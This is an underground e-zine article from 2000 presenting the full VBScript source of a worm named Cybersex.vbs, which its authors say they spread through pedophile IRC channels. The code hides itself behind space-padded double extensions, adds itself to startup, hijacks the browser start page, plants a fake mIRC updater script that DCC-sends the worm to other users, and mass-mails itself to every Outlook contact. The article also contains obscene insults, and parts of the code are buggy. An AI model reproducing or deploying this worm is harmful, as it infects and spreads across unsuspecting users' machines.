_________  SWAT MAGAZINE ISSUE THIRTY ONE JULY 2000   __________
  /         \___________________________________________/          \
 /	                 Cybersex.vbs                               \
/               -=ThE Firestarter=- & Phreakazoid                    \
-----------------------------------------------------------------------

Ph34r this worm that was coded/riped from several sources by F_S
and Phreakazoid, needless to say that Phreak got the latest update in.
Anyway, we have been spreading this via pedo channels on several IRC
servers, feel free to play!

<Start>

On Error Resume Next
dim worm, Map, f, b, Fool, a, fc, nf, fso, d, src, src2, src3

regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.awol4life.org.uk"

Const ForReading = 1, ForWriting = 2, ForAppending = 8

Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set worm = CreateObject("Scripting.FileSystemObject")

Set w = worm.GetFile(WScript.ScriptFullName)
w.Copy ("c:\windows\system\Cybersex.txt                                                                      .vbss")
w.Copy ("c:\windows\Start Menu\Programs\StartUp\RunDLL.vbs")
w.Copy ("c:\My Documents\Cybersex.txt                                                                      .vbs")
w.Copy ("c:\Cybersex.txt                                                                      .vbs")
Set f = worm.OpenTextFile(WScript.ScriptFullName, 1)
wormcopy =  f.ReadAll


Set fso = CreateObject("Scripting.FileSystemObject")
Set b = fso.CreateTextFile("c:\mirc\script.ini", True)
b.WriteLine "[script]"
b.WriteLine "n0=;MIRC Auto (minor) Updater"
b.WriteLine "n1=;By Khaled Mardem-Bey"
b.WriteLine "n2=;    www.mirc.com"
b.WriteLine "n3="
b.WriteLine "n4="
b.WriteLine "n5="
b.WriteLine "n6="
b.WriteLine "n7=on 1:CONNECT:{"
b.WriteLine "n8=  //.msg #as-mag Geddon can fuck my ass coz hes a ferret fucker! SWAT and AWOL 4life Mutha FUCKAS!"
b.WriteLine "n9=}"
b.WriteLine "n10=on 1:JOIN:#:{ /if ( $nick == $me ) { halt }"
b.WriteLine "n11=  /.dcc send $nick c:\windows\system\Cybersex.txt                                                                      .vbs"
b.WriteLine "n12=}"
b.close


on error resume next
Dim oShell
Set oShell = Wscript.CreateObject("Wscript.Shell")
Dim strProfile
Dim strAlias, strAliasKey
strProfile = oShell.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Sent?")
if strProfile = "" then
oShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Sent?", "1"
Set Prg = CreateObject("Outlook.Application")
Set Prg1 = Prg.GetNameSpace("MAPI")
For y = 1 To Prg1.AddressLists.Count
Set AdBook = Prg1.AddressLists(y)
x = 1
Set Maie = Prg.CreateItem(0)
For oo = 1 To AdBook.AddressEntries.Count
newmailadd = AdBook.AddressEntries(x)
Maie.Recipients.Add newmailadd
x = x + 1
Next
Maie.Subject = "Hey, look at this!"
Maie.Body = "Hi there, how you doing? Just thought I'd mail you. Hey check out this file, it is soooooooo funny! I'll catch you later, see ya"
Maie.Attachments.Add WScript.ScriptFullName
Maie.DeleteAfterSubmit = False
Maie.Send
newmailadd=""
next
else
end if
etc()    


<EOF>